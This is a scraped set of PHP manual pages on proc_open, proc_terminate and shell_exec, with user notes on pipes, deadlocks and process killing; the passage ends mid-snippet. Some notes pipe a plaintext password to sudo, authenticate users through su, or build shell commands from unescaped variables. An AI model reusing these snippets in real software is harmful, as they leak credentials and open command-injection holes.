I had previously guess that reading from STDERR immediately after starting the process would work, and it does... but when the command is successful PHP just hangs because STDERR is empty and it's waiting for data to be written to it.

The solution is a simple stream_set_blocking($pipes[2], 0) immediately after calling proc_open().

<?php

    $this->_proc = proc_open($command, $descriptorSpec, $pipes);
    stream_set_blocking($pipes[2], 0);
    if ($err = stream_get_contents($pipes[2]))
    {
      throw new Swift_Transport_TransportException(
        'Process could not be started [' . $err . ']'
        );
    }

?>

If the process is opened successfully $pipes[2] will be empty, but if it failed the bash/sh error will be in it.

Finally I can drop all my "workaround" error checking.

I realise this solution is obvious and I'm not sure how it took me 18 months to figure it out, but hopefully this will help someone else.

NOTE: Make sure your descriptorSpec has ( 2 => array('pipe', 'w')) for this to work.
Anonymous 27-Dec-2007 04:40
I needed to emulate a tty for a process (it wouldnt write to stdout or read from stdin), so I found this:

<?php
$descriptorspec = array(0 => array('pty'),
                        1 => array('pty'),
                        2 => array('pty'));
?>

pipes are bidirectional then
John Wehin 07-Dec-2007 07:52
STDIN STDOUT example
test.php

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "r")
);
$process = proc_open('php test_gen.php', $descriptorspec, $pipes, null, null); //run test_gen.php
echo ("Start process:\n");
if (is_resource($process))
{
    fwrite($pipes[0], "start\n");    // send start
    echo ("\n\nStart ....".fgets($pipes[1],4096)); //get answer
    fwrite($pipes[0], "get\n");    // send get
    echo ("Get: ".fgets($pipes[1],4096));    //get answer
    fwrite($pipes[0], "stop\n");    //send stop
    echo ("\n\nStop ....".fgets($pipes[1],4096));  //get answer

    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    $return_value = proc_close($process);  //stop test_gen.php
    echo ("Returned:".$return_value."\n");
}
?>

test_gen.php
<?php
$keys=0;
function play_stop()
{
global $keys;
        $stdin_stat_arr=fstat(STDIN);
        if($stdin_stat_arr[size]!=0)
        {
            $val_in=fread(STDIN,4096);
            switch($val_in)
            {
            case "start\n":    echo "Started\n";
                    return false;
                    break;
            case "stop\n":    echo "Stopped\n";
                    $keys=0;
                    return false;
                    break;
            case "pause\n":    echo "Paused\n";
                    return false;
                    break;
            case "get\n":    echo ($keys."\n");
                    return true;
                    break;
            default:    echo("Передан не верный параметр: ".$val_in."\n");
                    return true;
                    exit();
            }
        }else{return true;}
}
while(true)
{
while(play_stop()){usleep(1000);}
while(play_stop()){$keys++;usleep(10);}
}
?>
Antti Kauppinen 27-Jul-2007 09:48
missilesilo at gmail dot com had a great example. However error messages didn't work because of wrong stderr argument.

I changed last value 'r' of

<?php
        $descriptorspec = array(
            0 => array('pipe', 'r'),
            1 => array('pipe', 'w'),
            2 => array('pipe', 'r')
        );
?>

to 'w' so that error messages are actually written.

<?php
        $descriptorspec = array(
            0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
            1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
            2 => array("pipe", "w") // stderr is a file to write to
        );
?>
mjutras at beenox dot com 16-Oct-2006 03:28
The best way on windows to open a process then to let the php script continue is to call your process with the start command then to kill the "start" process and let your program run.

<?
$descriptorspec = array(
       0 => array("pipe", "r"),   // stdin
       1 => array("pipe", "w"),  // stdout
       2 => array("pipe", "w")   // stderr
);
$process = proc_open('start notepad.exe', $descriptorspec, $pipes);
sleep(1);
proc_close($process);
?>

The start command will be called then open notepad, after 1 second the "start" command will be killed but the notepad will still opened and your php script can continue!
Docey 25-Jul-2006 02:12
if your writing a function that processes a resource from
another function its a good idea not only to check whether
a resource has been passed to your function but also if its
of the good type like so:

<?php
function workingonit($resource){
 if(is_resource($resource)){
   if(get_resource_type($resource) == "resource_type"){
    // resource is a resource and of the good type. continue
   }else{
    print("resource is of the wrong type.");
    return false;
   }
 }else{
  print("resource passed is not a resource at all.");
  return false;
 }

 // do your stuff with the resource here and return
}
?>

this is extra true for working with files and process pipes.
so always check whats being passed to your functions.

here's a small snipppet of a few resource types:
files are of type 'file' in php4 and 'stream' in php5
'prossess' are resources opened by proc_open.
'pipe' are resource opened by popen.

btw the 'prossess' resource type was not mentioned in
the documentation. i make a bug-report for this.
php dot net_manual at reimwerker dot de 03-Jun-2006 01:47
If you are going to allow data coming from user input to be passed to this function, then you should keep in mind the following warning that also applies to exec() and system():

http://www.php.net/manual/en/function.exec.php
http://www.php.net/manual/en/function.system.php

Warning:

If you are going to allow data coming from user input to be passed to this function, then you should be using escapeshellarg() or escapeshellcmd() to make sure that users cannot trick the system into executing arbitrary commands.
richard at 2006 dot atterer dot net 07-Apr-2006 09:14
[Again, please delete my previous comment, the code still contained bugs (sorry). This version now includes Frederick Leitner&#039;s fix from below, and also fixes another bug: If an empty file was piped into the process, the loop would hang indefinitely.]

The following code works for piping large amounts of data through a filtering program. I find it very weird that such a lot of code is needed for this task... On entry, $stdin contains the standard input for the program. Tested on Debian Linux with PHP 5.1.2.

&lt;?php
  $descriptorSpec = array(0 =&gt; array(&quot;pipe&quot;, &quot;r&quot;),
                           1 =&gt; array(&#039;pipe&#039;, &#039;w&#039;),
                           2 =&gt; array(&#039;pipe&#039;, &#039;w&#039;));
  $process = proc_open($command, $descriptorSpec, $pipes);
  $txOff = 0; $txLen = strlen($stdin);
  $stdout = &#039;&#039;; $stdoutDone = FALSE;
  $stderr = &#039;&#039;; $stderrDone = FALSE;
  stream_set_blocking($pipes[0], 0); // Make stdin/stdout/stderr non-blocking
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  if ($txLen == 0) fclose($pipes[0]);
  while (TRUE) {
    $rx = array(); // The program&#039;s stdout/stderr
    if (!$stdoutDone) $rx[] = $pipes[1];
    if (!$stderrDone) $rx[] = $pipes[2];
    $tx = array(); // The program&#039;s stdin
    if ($txOff &lt; $txLen) $tx[] = $pipes[0];
    stream_select($rx, $tx, $ex = NULL, NULL, NULL); // Block til r/w possible
    if (!empty($tx)) {
      $txRet = fwrite($pipes[0], substr($stdin, $txOff, 8192));
      if ($txRet !== FALSE) $txOff += $txRet;
      if ($txOff &gt;= $txLen) fclose($pipes[0]);
    }
    foreach ($rx as $r) {
      if ($r == $pipes[1]) {
        $stdout .= fread($pipes[1], 8192);
        if (feof($pipes[1])) { fclose($pipes[1]); $stdoutDone = TRUE; }
      } else if ($r == $pipes[2]) {
        $stderr .= fread($pipes[2], 8192);
        if (feof($pipes[2])) { fclose($pipes[2]); $stderrDone = TRUE; }
      }
    }
    if (!is_resource($process)) break;
    if ($txOff &gt;= $txLen &amp;&amp; $stdoutDone &amp;&amp; $stderrDone) break;
  }
  $returnValue = proc_close($process);
?&gt;
Kevin Barr 06-Mar-2006 09:36
I found that with disabling stream blocking I was sometimes attempting to read a return line before the external application had responded. So, instead, I left blocking alone and used this simple function to add a timeout to the fgets function:

// fgetsPending( $in,$tv_sec ) - Get a pending line of data from stream $in, waiting a maximum of $tv_sec seconds
function fgetsPending(&$in,$tv_sec=10) {
    if ( stream_select($read = array($in),$write=NULL,$except=NULL,$tv_sec) ) return fgets($in);
    else return FALSE;
}
andrew dot budd at adsciengineering dot com 29-Dec-2005 06:55
The pty option is actually disabled in the source for some reason via a #if 0 && condition.  I'm not sure why it's disabled.  I removed the 0 && and recompiled, after which the pty option works perfectly.  Just a note.
mendoza at pvv dot ntnu dot no 22-Oct-2005 07:42
Since I don't have access to PAM via Apache, suexec on, nor access to /etc/shadow I coughed up this way of authenticating users based on the system users details. It's really hairy and ugly, but it works.

<?
function authenticate($user,$password) {
  $descriptorspec = array(
     0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
     1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
     2 => array("file","/dev/null", "w") // stderr is a file to write to
  );

  $process = proc_open("su ".escapeshellarg($user), $descriptorspec, $pipes);

  if (is_resource($process)) {
    // $pipes now looks like this:
    // 0 => writeable handle connected to child stdin
    // 1 => readable handle connected to child stdout
    // Any error output will be appended to /tmp/error-output.txt

    fwrite($pipes[0],$password);
    fclose($pipes[0]);
    fclose($pipes[1]);

    // It is important that you close any pipes before calling
    // proc_close in order to avoid a deadlock
    $return_value = proc_close($process);

    return !$return_value;
  }
}
?>
picaune at hotmail dot com 17-Oct-2005 01:51
The above note on Windows compatibility is not entirely correct.

Windows will dutifully pass on additional handles above 2 onto the child process, starting with Windows 95 and Windows NT 3.5. It even supports this capability (starting with Windows 2000) from the command line using a special syntax (prefacing the redirection operator with the handle number).

These handles will be, when passed to the child, preopened for low-level IO (e.g. _read) by number. The child can reopen them for high-level (e.g. fgets) using the _fdopen or _wfdopen methods. The child can then read from or write to them the same way they would stdin or stdout.

However, child processes must be specially coded to use these handles, and if the end user is not intelligent enough to use them (e.g. "openssl < commands.txt 3< cacert.der") and the program not smart enough to check, it could cause errors or hangs.
Chapman Flack 04-Oct-2005 09:34
One can learn from the source code in ext/standard/exec.c that the right-hand side of a descriptor assignment does not have to be an array ('file', 'pipe', or 'pty') - it can also be an existing open stream.

<?php
$p = proc_open('myfilter', array( 0 => $infile, ...), $pipes);
?>

I was glad to learn that because it solves the race condition in a scenario like this: you get a file name, open the file, read a little to make sure it's OK to serve to this client, then rewind the file and pass it as input to the filter. Without this feature, you would be limited to <?php array('file', $fname) ?> or passing the name to the filter command. Those choices both involve a race (because the file will be reopened after you have checked it's OK), and the last one invites surprises if not carefully quoted, too.
Kyle Gibson 05-Aug-2005 09:16
proc_open is hard coded to use "/bin/sh". So if you're working in a chrooted environment, you need to make sure that /bin/sh exists, for now.
mib at post dot com 22-Jun-2005 03:21
I thought it was highly not recommended to fork from your web server?

Apart from that, one caveat is that the child process inherits anything that is preserved over fork from the parent (apart from the file descriptors which are explicitly closed).

Importantly, it inherits the signal handling setup, which at least with apache means that SIGPIPE is ignored.  Child processes that expect SIGPIPE to kill them in order to get sensible pipe handling and not go into a tight write loop will have problems unless they reset SIGPIPE themselves.

Similar caveats probably apply to other signals like SIGHUP, SIGINT, etc.

Other things preserved over fork include shared memory segments, umask and rlimits.
falstaff at arragon dot biz 21-Mar-2005 02:22
Using this function under windows with large amounts of data is apparently futile.

these functions are returning 0 but do not appear to be doing anything useful.
stream_set_write_buffer($pipes[0],0);
stream_set_write_buffer($pipes[1],0);

these functions are returning false and are also apparently useless under windows.
stream_set_blocking($pipes[0], FALSE);
stream_set_blocking($pipes[1], FALSE);

The magic max buffer size I found with winxp is 63488 bytes, (62k). Anything larger than this results in a system hang.
Andre Caldas 25-May-2004 12:13
About the comment by  ch at westend dot com
of 28-Aug-2003 08:46

File streams are buffers. The data is not actualy written if you do not flush the buffer. In your case, fclose has the side effect of flushing the buffer you are closing.

The program "hangs" because it tries to read some data that was not written (since it is buffered).

You must do something like:
<?php
  fwrite($fp);
  fflush($fp);
  fread($fp);
?>

Good luck,
    Andre Caldas.
list[at]public[dot]lt 12-May-2004 12:21
if you push a little bit more data through the pipe, it will be hanging forever. One simple solution  on RH linux was to do this:

 stream_set_blocking($pipes[0], FALSE);
 stream_set_blocking($pipes[1], FALSE);

This did not work on windows XP though.
ralf at dreesen[*NO*SPAM*] dot net 09-Jan-2004 08:49
The behaviour described in the following may depend on the system php runs on. Our platform was "Intel with Debian 3.0 linux".

If you pass huge amounts of data (ca. >>10k) to the application you run and the application for example echos them directly to stdout (without buffering the input), you will get a deadlock. This is because there are size-limited buffers (so called pipes) between php and the application you run. The application will put data into the stdout buffer until it is filled, then it blocks waiting for php to read from the stdout buffer. In the meantime Php filled the stdin buffer and waits for the application to read from it. That is the deadlock.

A solution to this problem may be to set the stdout stream to non blocking (stream_set_blocking) and alternately write to stdin and read from stdout.

Just imagine the following example:

<?
/* assume that strlen($in) is about 30k
*/

$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("file", "/tmp/error-output.txt", "a")
);

$process = proc_open("cat", $descriptorspec, $pipes);

if (is_resource($process)) {

   fwrite($pipes[0], $in);
    /* fwrite writes to stdin, 'cat' will immediately write the data from stdin
    * to stdout and blocks, when the stdout buffer is full. Then it will not
    * continue reading from stdin and php will block here.
    */

   fclose($pipes[0]);

   while (!feof($pipes[1])) {
       $out .= fgets($pipes[1], 1024);
   }
   fclose($pipes[1]);

   $return_value = proc_close($process);
}
?>
MagicalTux at FF.ST 24-Dec-2003 01:20
Note that if you need to be "interactive" with the user *and* the opened application, you can use stream_select to see if something is waiting on the other side of the pipe.

Stream functions can be used on pipes like :
 - pipes from popen, proc_open
 - pipes from fopen('php://stdin') (or stdout)
 - sockets (unix or tcp/udp)
 - many other things probably but the most important is here

More informations about streams (you'll find many useful functions there) :
http://www.php.net/manual/en/ref.stream.php
ch at westend dot com 28-Aug-2003 05:46
I had trouble with this function as my script always hung like in a deadlock until I figured out that I had to strictly keep the following
order. Trying to close all at the end did not work!
  proc_open();
  fwrite(pipes[0]); fclose(pipes[0]); # stdin
  fread(pipes[1]);  fclose(pipes[1]); # stdout
  fread(pipes[2]);  flcose(pipes[2]); # stderr
  proc_close();
daniela at itconnect dot net dot au 16-Apr-2003 11:01
Just a small note in case it isn't obvious, its possible to treat the filename as in fopen, thus you can pass through the standard input from php like
    $descs = array (
                0 => array ("file", "php://stdin", "r"),
                1 => array ("pipe", "w"),
                2 => array ("pipe", "w")
        );
        $proc = proc_open ("myprogram", $descs, $fp);


Kills a process opened by proc_open

  • « proc_open
  • shell_exec »
  • PHP Manual
  • Program execution Functions
  • Kills a process opened by proc_open

proc_terminate

(PHP 5)

proc_terminate — Kills a process opened by proc_open

Description

bool proc_terminate ( resource $process [, int $signal = 15 ] )

Signals a process (created using proc_open()) that it should terminate. proc_terminate() returns immediately and does not wait for the process to terminate.

proc_terminate() allows you terminate the process and continue with other tasks. You may poll the process (to see if it has stopped yet) by using the proc_get_status() function.

Parameters

process

The proc_open() resource that will be closed.

signal

This optional parameter is only useful on POSIX operating systems; you may specify a signal to send to the process using the kill(2) system call. The default is SIGTERM.

Return Values

Returns the termination status of the process that was run.

Changelog

Version | Description
5.2.2 | Previous versions used to destroy the given process resource.

See Also

  • proc_open() - Execute a command and open file pointers for input/output
  • proc_close() - Close a process opened by proc_open and return the exit code of that process
  • proc_get_status() - Get information about a process opened by proc_open

User Contributed Notes

v dot denegin at yahoo dot com 18-Dec-2013 12:47
on Windows platform proc_terminate() does not kill sub-processes that are not handling kill signals. It happens even if you call xxx.exe and call proc_terminate() the process will remain active.

The solution is instead of calling proc_terminate() is to call the user-defined kill() function (already win/unix optimized)
After that need to close all pipes and execute proc_close().

function kill($pid){
    return stripos(php_uname('s'), 'win')>-1  ? exec("taskkill /F /T /PID $pid") : exec("kill -9 $pid");
}

function killall($pids) {
    $os=stripos(php_uname('s'), 'win')>-1;
    ($_=implode($os?' /PID ':' ',$pids)) or ($_=$pids);
    return preg_match('/success|close/', $os ? exec("taskkill /F /T /PID $_") : exec("kill -9 $_"));
}

Example:

$pstatus = proc_get_status($resource);
$PID = $pstatus['pid'];

// other commands

kill($PID); // instead of proc_terminate($resource);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($resource);
csh dot spam at me dot com 21-Oct-2013 06:55
/bin/sh -c CMD will fork sh and then exec CMD.
/bin/sh -c exec CMD will NOT fork and only executes CMD.

Therefore, you can get rid of this hack by prefixing your command to "exec bla bla bla".
jerhee at ucsd dot edu 24-Feb-2008 05:08
As explained in http://bugs.php.net/bug.php?id=39992, proc_terminate() leaves children of the child process running. In my application, these children often have infinite loops, so I need a sure way to kill processes created with proc_open(). When I call proc_terminate(), the /bin/sh process is killed, but the child with the infinite loop is left running.

Until proc_terminate() gets fixed, I would not recommend using it. Instead, my solution is to:
1) call proc_get_status() to get the parent pid (ppid) of the process I want to kill.
2) use ps to get all pids that have that ppid as their parent pid
3) use posix_kill() to send the SIGKILL (9) signal to each of those child pids
4) call proc_close() on process resource

<?php
$descriptorspec = array(
0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
2 => array('pipe', 'w')   // stderr is a pipe the child will write to
);
$process = proc_open('bad_program', $descriptorspec, $pipes);
if(!is_resource($process)) {
    throw new Exception('bad_program could not be started.');
}
//pass some input to the program
fwrite($pipes[0], $lots_of_data);
//close stdin. By closing stdin, the program should exit
//after it finishes processing the input
fclose($pipes[0]);

//do some other stuff ... the process will probably still be running
//if we check on it right away

$status = proc_get_status($process);
if($status['running'] == true) { //process ran too long, kill it
    //close all pipes that are still open
    fclose($pipes[1]); //stdout
    fclose($pipes[2]); //stderr
    //get the parent pid of the process we want to kill
    $ppid = $status['pid'];
    //use ps to get all the children of this process, and kill them
    $pids = preg_split('/\s+/', `ps -o pid --no-heading --ppid $ppid`);
    foreach($pids as $pid) {
        if(is_numeric($pid)) {
            echo "Killing $pid\n";
            posix_kill($pid, 9); //9 is the SIGKILL signal
        }
    }

    proc_close($process);
}

?>


Execute command via shell and return the complete output as a string

  • « proc_terminate
  • system »
  • PHP Manual
  • Program execution Functions
  • Execute command via shell and return the complete output as a string

shell_exec

(PHP 4, PHP 5)

shell_exec — Execute command via shell and return the complete output as a string

Description

string shell_exec ( string $cmd )

This function is identical to the backtick operator.

Parameters

cmd

The command that will be executed.

Return Values

The output from the executed command or NULL if an error occurred or the command produces no output.

Note:

This function can return NULL both when an error occurs or the program produces no output. It is not possible to detect execution failures using this function. exec() should be used when access to the program exit code is required.

Examples

Example #1 A shell_exec() example

<?php
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>";
?>

Notes

Note:

This function is disabled when PHP is running in safe mode.

See Also

  • exec() - Execute an external program
  • escapeshellcmd() - Escape shell metacharacters

User Contributed Notes

jack dot harris-7ot2j4ip at yopmail dot Com 11-Sep-2014 10:52
On Windows, if shell_exec does NOT return the result you expected and the PC is on an enterprise network, set the Apache service (or wampapache) to run under your account instead of the 'Local system account'. Your account must have admin privileges.

To change the account go to console services, right click on the Apache service, choose properties, and select the connection tab.
xxxpaul1104xxx at gmail dot com 18-Apr-2014 12:43
//wish this could help for handle the shell_exec() output strings where "\n" that looks like a " " space.
//ex:
$configPath = "/home/somewhere";
$configList = shell_exec("ls $configPath/123.*.cfg"); // output is "/home/somewhere/123.111.cfg /home/somewhere/123.112.cfg"
// there looks like a "space" between output strings, but that's a "\n" actually.
$nodeList = trim(str_replace("\n",",",str_replace("$configPath/","",str_replace(".cfg","",$configList))));  // get "123.111,123.112"
ptitjib at hotmail dot fr 26-Oct-2012 07:45
Run shell_exec powershell on IIS 7, PHP-Fast-CGI:
First of all, make sure you have set TPC protocol in IIS FastCGI Settings.
Next you can run shell_exec command as:
$output = shell_exec('powershell get-process < NUL');
echo $output;
Hope this help.
wally at soggysoftware dot co dot uk 10-Aug-2012 08:39
As others have noted, shell_exec and the backtick operator (`) both return NULL if the executed command doesn't output anything.

This can be worked around by doing anything like the following:

shell_exec ("silentcmd && echo ' '");

Here we're simply outputting blank whitespace if  the command succeeds - which satisfies this slightly strange issue.  From there, you can trim() the command output etc.
trev at dedicate.co.uk 21-Oct-2011 04:34
If you're trying to run a command such as "gunzip -t" in shell_exec and getting an empty result, you might need to add 2>&1 to the end of the command, eg:

Won't always work:
echo shell_exec("gunzip -c -t $path_to_backup_file");

Should work:
echo shell_exec("gunzip -c -t $path_to_backup_file 2>&1");

In the above example, a line break at the beginning of the gunzip output seemed to prevent shell_exec printing anything else. Hope this saves someone else an hour or two.
ilya at linemedia dot ru 16-Dec-2010 05:36
sudo can be executed without storing pass in a file

system('echo "PASS" | sudo -u root -S COMMAND');
fabjoa dot mwoz at gmail dot com 01-Nov-2010 01:02
I don't know how it goes in Windows, but in Linux, shell returns result with a line break at the end, I guess to make it more readable in shell, so don't forget to use trim() to encapsulate the returned result!

if(trim(shell_exec('whoami'))!='www-data')
nowayoutlive.de 26-Feb-2010 10:59
Today I needed a piece of code, which makes use of the shell_exec function. For those who want to scan 2 letter domains too, here is a nice linux and php5 way, using a character generator class.

<?php
define("__USED_CHARS__", "abcdefghijklmnopqrstuvwxyz0123456789");
define("__CASE_SENSITIVE__", true); // Use string above or use uppercase / lowercase variant

$bf = new chargen(2); // new chargen object, length 2
$bf->generate("whois"); // generate chars and call whois function

function whois($str)
{
        $domain = $str.".com";

        $retval = shell_exec("whois $domain");

        if (eregi("no match", $retval))
                echo $domain." ist available\n";
        else
                echo $domain." is unavailable\n";
}

class chargen
{
        private $chars = NULL;
        private $maxlength = NULL;

        protected $buffer = NULL;

        function generate($mycallback = false)
        {
                foreach ($this->buffer as $char)
                {
                        foreach ($this->chars as $nextchar)
                        {
                                $retval = $char.$nextchar;
                                $this->buffer[$retval] = $retval;

                                if ($mycallback && function_exists($mycallback))
                                        $mycallback($retval);
                                else
                                        echo $retval."\n";
                        }
                }

                if (strlen($retval) == $this->maxlength)
                        return;

                $this->generate($mycallback);
        }

        function __construct($maxlength = 8)
        {
                $chars = array();

                $this->buffer = array();
                array_push($this->buffer, "");

                for ($i = 0; $i < strlen(__USED_CHARS__); $i++)
                {
                        $index = substr(__USED_CHARS__, $i, 1);

                        if (__CASE_SENSITIVE__)
                        {
                                $this->chars[$index] = $index;
                        }
                        else
                        {
                                $this->chars[strtolower($index)] = strtolower($index);
                                $this->chars[strtoupper($index)] = strtoupper($index);
                        }
                }

                $this->maxlength = $maxlength;
        }
}
?>
martin at intelli-gens dot com 17-Feb-2010 12:21
Also after lots of hair pulling why shell_exec didn't want to work for me I found out that in my case some things needed to be set (which normally are set by default).

the options -jo
-j means: don't recreate the paths found in the archive
-o means: always overwrite files

And I needed to specify the destination path (even though it should unzip in the same directory when not specified), this is done by -d [path]

The strange thing was that I didn't have to put these options when I would give the command on the command-line, only when I would call it with shell_exec.

So the complete command in php would be for me:

shell_exec('unzip -jo /path_to_archive/archive.zip  -d /destination_path')

And putting en echo in front will help you a lot.
it should tell you something like this:

Archive:  /path_to_zip/archive.zip
  inflating: /destination_path/file1.jpeg
  inflating: /destination_path/file2.jpeg
  inflating: /destination_path/file3.jpeg
codeslinger at compsalot dot com 14-Jan-2010 03:47
it took me a heck of a lot of head banging to finally solve this problem so I thought that I would mention it here.

If you are using Eclipse and you try to do something like

<?php

    $out = shell_exec("php -s $File");   //this fails
?>

it will always fail when run inside of the Eclipse debugger.  This happens on both Linux and Windows.  I finally isolated the problem to changes that Eclipse makes to the environment when debugging.

The fix is to force the ini setting.  If you don't need an ini then -n is sufficient.

<?php

    $out = shell_exec("php -n -s $File");   //this works
?>

Of course if you run it outside of the debugger then it works fine without the -n.   You may want to use a debug flag to control this behavior.
joelhy 09-Apr-2009 03:29
Here is a easy way to grab STDERR and discard STDOUT:
    add  '2>&1 1> /dev/null' to the end of your shell command

For example:
<?php
$output = shell_exec('ls file_not_exist 2>&1 1> /dev/null');
?>
dburles@NOSPAMgmailDOTcom 01-Feb-2009 12:07
Easy way to capture error output in windows

// we'll execute a php script as an example:
$out = shell_exec("php test.php 2> output");
print $out ? $out : join("", file("output"));

We assume in this case if the script produces output it has ran ok, the $out variable will then contain the output, if $out is empty then we read the captured error output from a file simply called 'output'.

Hope this helps someone
zd 16-Jan-2009 07:29
It's probably worth noting that shell_exec() return value seems binary safe, while the output array from exec() is not.

In either case, a more controlled way to launch and interact with a process is proc_open() which allows you to have streams and is also binary safe.
Rgemini 08-Jan-2009 12:46
A simple way to handle the problem of capturing stderr output when using shell-exec under windows is to call ob_start() before the command and ob_end_clean() afterwards, like this:

<?php
ob_start()
$dir = shell_exec('dir B:');
if is_null($dir)
{   // B: does not exist
    // do whatever you want with the stderr output here
}
else
{  // B: exists and $dir holds the directory listing
   // do whatever you want with it here
}
ob_end_clean();   // get rid of the evidence :-)
?>

If B: does not exist then $dir will be Null and the output buffer will have captured the message:

  'The system cannot find the path specified'.

(under WinXP, at least). If B: exists then $dir will contain the directory listing and we probably don't care about the output buffer. In any case it needs to be deleted before proceeding.
dae3 22-Dec-2008 11:53
Beware of the following inconsistency: shell_exec() and the backtick operator will not return a string if the command's output is empty -- they'll return NULL instead.

This will make strict comparisons to '' return false.
redtuugii at yahoo dot com 12-Nov-2008 12:30
if you want get exit status

<?php
$command = 'ls -lpas';
// Execute the shell command
$shellOutput = shell_exec($command.' > /dev/null; echo $?');

//return execute status;
echo trim($shellOutput);
?>
sa577 at gre dot ac dot uk 15-Aug-2008 01:59
The problem described by 'concept at conceptonline dot hu' was mine too (writing the output on the Apache error log instead of returning it). But I think the cause explanation is misleading: it is not due to running script in a different path. The clue for this behaviour as Apache documentation mention is:

"A very wide variety of different messages can appear in the error log. Most look similar to the example above. The error log will also contain debugging output from CGI scripts. Any information written to <i>stderr</i> by a CGI script will be copied directly to the error log." (http://httpd.apache.org/docs/1.3/logs.html#errorlog)

So the most probable cause for this problem is a running script which tends to write its output on stderr instead of stdout. You cannot even capture it by piping (e.g. [command]>[output] syntax of unix).
The smart trick to get rid of this situation (that can become a serious one as I experienced) is one suggested by Anatol Pomozov in his currently non-accessible weblog (I saw his post on archive.com!):
You should add after your command these characters within the qoutation mark:
" 2>&1"
I guess it forces OS to copy stderr on stdout.
ben at thelocust dot org 08-Aug-2008 07:59
For those running PHP on IIS under a 64-bit system, but running IIS in 32-bit mode, you will need to grant the IUSR_<machinename> user Read & Execute / Read permissions not on the C:\WINDOWS\SYSTEM32\cmd.exe file, but instead on the C:\WINDOWS\SysWOW64\cmd.exe - which is the 32-bit version of the command prompt.
saivert at saivert dot com 13-May-2008 05:48
How to get the volume label of a drive on Windows

<?php

function GetVolumeLabel($drive) {
  // Try to grab the volume name
  if (preg_match('#Volume in drive [a-zA-Z]* is (.*)\n#i', shell_exec('dir '.$drive.':'), $m)) {
    $volname = ' ('.$m[1].')';
  } else {
    $volname = '';
  }
return $volname;
}

print GetVolumeLabel("c");

?>

Note: The regular expression assumes a english version of Windows is in use. modify it accordingly for a different localized copy of Windows.
Anonymous 08-Apr-2008 05:35
In response to nathandehert and Paul Cook, rather than sudoing to execute a command, you might want to abstract the command(s) into a yet another script (php, perl, bash, whatever) and make use of the setuid bit.  then just execute that script from php.  of course, bear in mind the security implications of setuid.
gabekon at gmail dot com 03-Apr-2008 05:33
RE: kamermans note,

I was having a similar problem with the PATH variable when using shell_exec. Even with a hard-coded full path to a binary, I also got an error about a .so file that could not be found. After some reading up, I realized I had to set the LD_LIBRARY_PATH variable:

<?php

$command = 'export LD_LIBRARY_PATH="' . $path_to_library_dir .'"; ' . $path_to_binary;
shell_exec($command);

?>

Hope this saves someone a headache,

- G
guenter at grodotzki dot ph 16-Jan-2008 05:07
If the return is empty, then command could not be executed or executed command returned an error.
RoBorg 08-Nov-2007 04:45
The Subversion error "svn: Can't recode string" can be caused by the locale being wrong.  Try
<?php
putenv('LANG=en_US.UTF-8');
?>
(or whatever your preferred locale is) before you call shell_exec()
kamermans at teratechnologies dot net 15-Oct-2007 05:01
I'm not sure what shell you are going to get with this function, but you can find out like this:

<?php
$cmd = 'set';
echo "<pre>".shell_exec($cmd)."</pre>";
?>

On my FreeBSD 6.1 box I get this:

USER=root
LD_LIBRARY_PATH=/usr/local/lib/apache2:
HOME=/root
PS1='$ '
OPTIND=1
PS2='> '
LOGNAME=root
PPID=88057
PATH=/etc:/bin:/sbin:/usr/bin:/usr/sbin
SHELL=/bin/sh
IFS='
'

Very interesting.  Note that the PATH may not be as complete as you need.  I wanted to run Ghostscript via ImageMagik's "convert" and ended up having to add my path before running the command:

<?php
$cmd = 'export PATH="/usr/local/bin/"; convert -scale 25%x25% file1.pdf[0] file2.png 2>&1';
echo "<pre>".shell_exec($cmd)."</pre>";
?>

ALSO, note that shell_exec() does not grab STDERR, so use "2>&1" to redirect it to STDOUT and catch it.
eric dot peyremorte at iut-valence dot fr 05-Oct-2007 11:01
I had trouble with accented caracters and shell_exec.

ex :

Executing this command from shell :

/usr/bin/smbclient '//BREZEME/peyremor' -c 'dir' -U 'peyremor%*********' -d 0 -W 'ADMINISTRATIF' -O 'TCP_NODELAY IPTOS_LOWDELAY SO_KEEPALIVE SO_RCVBUF=8192 SO_SNDBUF=8192' -b 1200 -N 2>&1

gave me that :

Vidéos                             D        0  Tue Jun 12 14:41:21 2007
  Desktop                            DH        0  Mon Jun 18 17:41:36 2007

Using php like that :

shell_exec("/usr/bin/smbclient '//BREZEME/peyremor' -c 'dir' -U 'peyremor%*******' -d 0 -W 'ADMINISTRATIF' -O 'TCP_NODELAY IPTOS_LOWDELAY SO_KEEPALIVE SO_RCVBUF=8192 SO_SNDBUF=8192' -b 1200 -N 2>&1")

gave me that :

  Vid  Desktop                            DH        0  Mon Jun 18 17:41:36 2007

The two lines were concatenated from the place where the accent was.

I found the solution : php execute by default the command with LOCALE=C.

I just added the following lines before shell_exec and the problem was solved :

$locale = 'fr_FR.UTF-8';
setlocale(LC_ALL, $locale);
putenv('LC_ALL='.$locale);

Just adapt it to your language locale.
Woody/mC 12-Jul-2007 04:07
regarding the "ping" test that was mentioned by andy25it at hotmail dot it:

this might not work if the target server is behind a firewall which drops icmp packets. a better approach would be the use of fsockopen(), which doesn't use icmp. in the notes section of the function list, Alexander Wegener wrote a nice implementation of an isOnline() function which works with both http and https.
d-skyman at gmx dot de 08-Apr-2007 07:43
Got it! That was a "how does the windows scripting host work" problem.
Here's the answer:
<?php
$runCommand = "C:\\WINDOWS\\system32\\shutdown.exe -t:30"; //Wrong by purpuse to get some good output
$WshShell = new COM("WScript.Shell");
$output = $WshShell->Exec($runCommand)->StdOut->ReadAll;
echo "<p>$output</p>";
?>
RayJ 26-Feb-2007 06:07
After many failed attempts to find a way to run a php script in the background (the script had to be activated from a web browser). Since I create and test my scripts on a windows box, I need an automatic way to detect if the script was running on windows or the Linux server. The activated script will continue to run even if you close your browser.

<?php
  $runCommand = 'php -q FULLPATH/FILE.php';

